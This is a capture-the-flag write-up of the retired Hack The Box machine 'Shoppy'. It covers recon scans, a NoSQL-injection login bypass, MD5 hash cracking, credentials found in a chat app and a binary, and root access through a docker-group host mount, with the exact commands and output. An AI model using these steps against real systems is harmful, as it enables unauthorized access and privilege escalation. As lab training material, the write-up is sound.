Hello world and welcome to Haxez, today I’m going to be working through the retired Hack The Box Machine Shoppy. I’m currently going through all the retired machines to try and upskill myself while studying the CPTS academy material. It’s also great to see the effort that has gone into making these machines. Each machine is like an episode of your favourite TV show, you don’t want to miss anything. Please note that I followed IppSec’s Shoppy Youtube video when getting stuck.
Shoppy Enumeration
Once the machine has started I connected to the VPN and started pinging the box to make sure I could talk to it. After confirming the box was online, I scanned it with Nmap to see what services were listening. As you can see from the output below, SSH and HTTP were open.
Nmap scan report for 10.129.227.233
Host is up, received echo-reply ttl 63 (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.4p1:
| CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041
| CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617
| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145
| CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012
|_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368
80/tcp open http syn-ack ttl 63 nginx 1.23.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: nginx/1.23.1
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
As HTTP was the only thing open that had a sensible attack surface, I visited the machine’s IP address in my browser. Unfortunately, I got an error due to a redirect in place. In order to resolve this, I echoed the domain name into my host file with the IP address of the box. This would ensure that the domain resolves to the correct IP address and that the redirect works.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $sudo echo "10.129.227.233 shoppy.htb" | sudo tee -a /etc/hosts
10.129.227.233 shoppy.htb
Upon visiting the domain, I was presented with a countdown. No discernible technology was evident. I viewed the page source and looked at the various javascript files but couldn’t identify a framework or cms.
Whatweb didn’t provide much information either.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $sudo whatweb http://shoppy.htb
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.129.227.233], JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]
I started poking the application with various strings to attempt to force an error. The generic 404 error returns the response “Cannot GET” followed by the requested file. From this, we can deduce that the application was built with Node.js.
No Access to No SQLI
Next, I ran gobuster against the application to see if there were any hidden directories or files. As seen below, the results of gobuster found an admin and login area as well as some other generic files. It’s probably safe to assume that the login admin area is where the creator of the box wants us to go.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $sudo gobuster dir -u http://shoppy.htb/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/03/11 09:36:20 Starting gobuster in directory enumeration mode
===============================================================
/Admin (Status: 302) [Size: 28] [--> /login]
/admin (Status: 302) [Size: 28] [--> /login]
/ADMIN (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/exports (Status: 301) [Size: 181] [--> /exports/]
/favicon.ico (Status: 200) [Size: 213054]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/images (Status: 301) [Size: 179] [--> /images/]
/js (Status: 301) [Size: 171] [--> /js/]
/Login (Status: 200) [Size: 1074]
/login (Status: 200) [Size: 1074]
===============================================================
2023/03/11 09:36:30 Finished
The login area didn’t give much away. For a moment, I thought I was logging in to my Activision/Blizzard account. So next, I started poking at the parameters of the login box. Initially, I captured it with Burp and tried the usual suspects, code execution and SQL injection. However, this is Node.js and is likely to use a NoSQL database. Admittedly, I didn’t know that until I watched a video about it. Anyway, the application login can be bypassed with ‘admin’||’1’==1’.
Once inside the application, I had access to a search box that lets you search for users. Searching for admin gave me the admin password hash. We can also perform a SQL injection on this form too and get it to spit out the other users of the application.
Hash Cracking
To proceed, I saved the hashes into a file and used John and rockyou.txt to crack them. As shown below, John was only able to crack one of the hashes. I will come back to the other one later and use a large wordlist if necessary.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $sudo john --format=Raw-MD5 hashesh --wordlist=/media/sf_OneDrive/Wordlist/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (?)
1g 0:00:00:23 DONE (2023-03-11 11:30) 0.04286g/s 614801p/s 614801c/s 649613C/s filimani..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
We can use Josh’s password to login into the application but it only provides us with the same functionality we had before. Time to go back to information gathering.
Shoppy Further Enumeration
In order to proceed, I used the ffuf fuzzing tool to brute force subdomains. As you can see from the output below, it found the subdomain of mattermost. I’ve heard of mattermost but I can’t remember ever using it. I believe it is some type of chat application.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $sudo ffuf -u http://shoppy.htb/ -H "Host: FUZZ.shoppy.htb" -w /media/sf_OneDrive/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fw 5
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://shoppy.htb/
:: Wordlist : FUZZ: /media/sf_OneDrive/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.shoppy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 5
________________________________________________
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 18ms]
:: Progress: [100000/100000] :: Job [1/1] :: 3117 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
In order to visit this subdomain, I echoed it into my host file. This gave me a login page which I was able to login to with the username Josh and the password we just cracked. Once the page loaded, it was evident that it was a chat application similar to Slack. Furthermore, I searched through the different channels and found a set of credentials. This a daily reminder not to share credentials in plaintext… ever.
Shoppy Foothold
Our initial scans showed that SSH was open. Attempting to SSH to the machine with the newly discovered credentials does give us access. Furthermore, it looks like we have the ability to run a password-manager command as the user deploys with sudo.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy]
└──╼ $ssh [email protected]
The authenticity of host '10.129.227.233 (10.129.227.233)' can't be established.
ECDSA key fingerprint is SHA256:KoI81LeAk+ps7zoc1ru39Mg7srdxjzOb1UgmdW6T6kI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.233' (ECDSA) to the list of known hosts.
[email protected]'s password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
manpath: can't set the locale; make sure $LC_* and $LANG are correct
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
I was also able to grab the user flag.
jaeger@shoppy:~$ cat /home/jaeger/user.txt
2b5▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓320
I executed the password manager binary and it asked me for a password. Next, I tried the same password that I used to SSH to the machine but it was incorrect.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
After that, I used strings on the binary to see whether I could find the password that way. Initially, strings reported back a lot of information. Not all of it was useful but I could see that it was using cat to read the contents of a creds.txt file. I ran strings again with different encoding and got the word “Sample” back.
jaeger@shoppy:~$ strings -e l /home/deploy/password-manager
Sample
Running the password-manager binary again with the correct password gave me some credentials.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
I was then able to switch user or SSH to the machine as the deploy user. Unfortunately, the deploy user didn’t have any sudo privileges. However, upon checking the groups that the user belonged to, it became evident that Docker was going to play a part in the privilege escalation process.
$ sudo -l
[sudo] password for deploy:
Sorry, user deploy may not run sudo on shoppy.
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 7 months ago 5.53MB
Shoppy Docker Privilege Escalation
Using Docker, I span up a new container where the root of the machine was mounted inside the container. Doing so should give me the permissions needed to access the root flag. Once the container was created I used chroot and was able to grab the root flag.
$ docker run --rm -it -v /:/mnt alpine /bin/sh
/ # cd /mnt
/mnt # chroot .
root@149fdb7a4b87:/#
root@149fdb7a4b87:/# cat /root/root.txt
3d5▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓269
This was a fun machine. I haven’t done much with the technologies involved like Node.JS and NoSQL databases. I have done privilege escalation with docker containers before but that was a while ago that required me to upload the image myself (from what I remember). Anyway, I learnt a lot from this box which I’m sure I will forget in a week’s time.